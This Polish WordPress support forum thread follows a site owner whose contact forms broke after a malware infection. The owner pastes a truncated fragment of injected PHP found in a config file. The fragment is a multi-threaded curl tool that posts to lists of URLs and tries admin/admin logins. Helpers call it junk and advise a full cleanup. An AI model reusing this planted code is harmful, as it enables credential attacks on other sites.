Formularz kontaktowy przestał działać
-
Witam,
Właśnie zauważyłam, że formularz kontaktowy na stronie przestał działać.
Pojawia się informacja „Wiadomość nie została wysłana. Spróbuj ponownie później”.
Czy może mieć to jakiś związek z ostatnimi aktualizacjami?
Jak naprawić formularz?
Strona: http://www.akademiametamorfoz.plZ góry dziękuję.
-
Być może, ale raczej jest to wina źle napisanego formularza kontaktowego.
Proponuję skontaktować się z autorem szablonu, bądź autorem samego skryptu formularza:
wp-content/themes/akademia-metamorfoz/page-contact-sender.php
Właśnie sprawdzałam ,i nie działa mi żaden formularz na żadnej z 3 stron. Problem tkwi więc pewnie w serwerze. Czekam na odzew z firmy hostingowej i zobaczymy..
No i okazało się, że jakiś wirus wkradł się na wszystkie strony. Zainfekowane pliki zostały już usunięte ale pozostaje kwestia zabepzieczenia skryptów, jak najlepiej i najłatwiej to zrobić?
Najłatwiej zlecić to komuś, możesz spróbować tutaj:
http://wpzlecenia.plTe wszystkie autorskie skrypty przydało by się przejrzeć i sprawdzić czy nie ma w nich żadnych podatności. Od razu też zmień sobie hasło do FTP, gdyż z mojego doświadczenia wynika że jest to najczęstsza przyczyna włamań.
Dzięki. JEdnak dziś widzę, że po usunięciu zainfekowanych plików, pojawił się problem z wyświetlaniem jednej ze stron http://www.akademiametamorfoz.pl
Pojawia się informacja:
Warning: require(/home/joanna13/domains/akademiametamorfoz.pl/public_html/wp-includes/post.php) [function.require]: failed to open stream: No such file or directory in /home/joanna13/domains/akademiametamorfoz.pl/public_html/wp-settings.php on line 128
Warning: require(/home/joanna13/domains/akademiametamorfoz.pl/public_html/wp-includes/post.php) [function.require]: failed to open stream: No such file or directory in /home/joanna13/domains/akademiametamorfoz.pl/public_html/wp-settings.php on line 128
Fatal error: require() [function.require]: Failed opening required '/home/joanna13/domains/akademiametamorfoz.pl/public_html/wp-includes/post.php’ (include_path=’.:/usr/local/php52/lib/php/’) in /home/joanna13/domains/akademiametamorfoz.pl/public_html/wp-settings.php on line 128
Jak poprawić kod lub pliki aby strona wyświetlała się poprawnie?
wp-includes/post.php
To jest plik WordPressa – pewnie podczas czyszczenia usunąłeś go przez przypadek. Wgraj na nowo ręcznie pliki WordPressa, katalog wp-admin, wp-includes, wp-content zostaw w spokoju.
Ale jak mam go wgrać? Skąd o wziąć jak został skasowany? 🙂
Klikasz duży niebieski napis Pobierz WordPressa.
Ok, wgrałam plik. Ale strona nadal się nie wyświetla. Tym razem nie pojawia się żaden komunikat..
Na pewno nie nadpisywałaś katalogu wp-content?
W wp-config.php ustaw wp_debug na true:
http://codex.wordpress.org/Debugging_in_WordPressHm, dziwną zawartość ma ten plik. Nie wiem czy tu nie zagnieżdził się ajkiś wirus. Oto kawałek kodu:
<?php ini_set('max_execution_time',0); ini_set('memory_limit', '128M'); ini_set("display_errors",0); function multiCurl($data, $options = array()) { $curls = array(); $result = array(); $mh = curl_multi_init(); foreach ($data as $id => $d) { $curls[$id] = curl_init(); $url = (is_array($d) && !empty($d['url'])) ? $d['url'] : $d; // Ĺńëč $d ýňî ěŕńńčâ (ęŕę â ńëó÷ŕĺ ń ďîńň), ňî äîńňŕĺě čç ěŕńńčâŕ url // ĺńëč ýňî íĺ ěŕńńčâ, ŕ óćĺ ńńűëęŕ - ňî áĺđĺě ńđŕçó ńńűëęó curl_setopt($curls[$id], CURLOPT_URL, $url); curl_setopt($curls[$id], CURLOPT_HEADER, 1); curl_setopt($curls[$id], CURLOPT_CONNECTTIMEOUT, 10); curl_setopt($curls[$id], CURLOPT_TIMEOUT, 10); curl_setopt($curls[$id], CURLOPT_RETURNTRANSFER, 1); $headers = array ( 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*;q=0.8', 'Accept-Language: ru,en-us;q=0.7,en;q=0.3', 'Accept-Encoding: deflate', 'Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7', 'User-agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36', 'Cookie: wordpress_test_cookie=WP Cookie check; path=/' ); curl_setopt($curls[$id], CURLOPT_HTTPHEADER, $headers); // Ĺńëč ó íŕń ĺńňü ďîńň äŕííűĺ, ňîĺńňü çŕďđîń îňďđŕâë˙ĺňń˙ ďîńňîě // óńňŕíŕâëčâŕĺě ôëŕăč č äîáŕâë˙ĺě ńŕěč äŕííűĺ if (is_array($d) && !empty($d['post'])) { curl_setopt($curls[$id], CURLOPT_POST, 1); curl_setopt($curls[$id], CURLOPT_POSTFIELDS, $d['post']); } if (count($options)>0) curl_setopt_array($curls[$id], $options); curl_multi_add_handle($mh, $curls[$id]); } $running = null; do { curl_multi_exec($mh, $running); } while($running > 0); // Ńîáčđŕĺě čç âńĺő ńîçäŕííűő ěĺőŕíčçěîâ đĺçóëüňŕňű, ŕ ńŕěč ěĺőŕíčçěű óäŕë˙ĺě foreach($curls as $id => $c) { $result[$id] = curl_multi_getcontent($c); curl_multi_remove_handle($mh, $c); } // Îńâîáîćäŕĺě ďŕě˙ňü îň ěĺőŕíčçěŕ ěóëüňčďîňîęîâ curl_multi_close($mh); // âîçâđŕůŕĺě äŕííűĺ ńîáđŕííűĺ čç âńĺő ďîňîęîâ. return $result; } if ($_POST['do']=='login') { $urls = array(); $urls = $_POST['urls']; $script = $_SERVER['REQUEST_URI']; $urls = explode("\r\n", $urls); $data = array(); $i=0; foreach($urls as $url) { //echo file_get_contents('http://'.$_SERVER['SERVER_NAME'].$script.'?url='.$url.'&login=admin&pass=admin'); $data[$i] = array('url' => $url); $i++;
To jest wp-config? Wszystko tam to syf, nie ma to za wiele wspólnego z oryginalnym wp-configiem.
Jeszcze raz należy wyczyścić pliki z syfu, tym razem porządnie, albo jak już pisałem – zleć to komuś, jeżeli jeszcze nigdy nie czyściłaś WP z syfu to zaoszczędzisz dużo czasu i nerwów.
- Temat ‘Formularz kontaktowy przestał działać’ jest zamknięty na nowe odpowiedzi.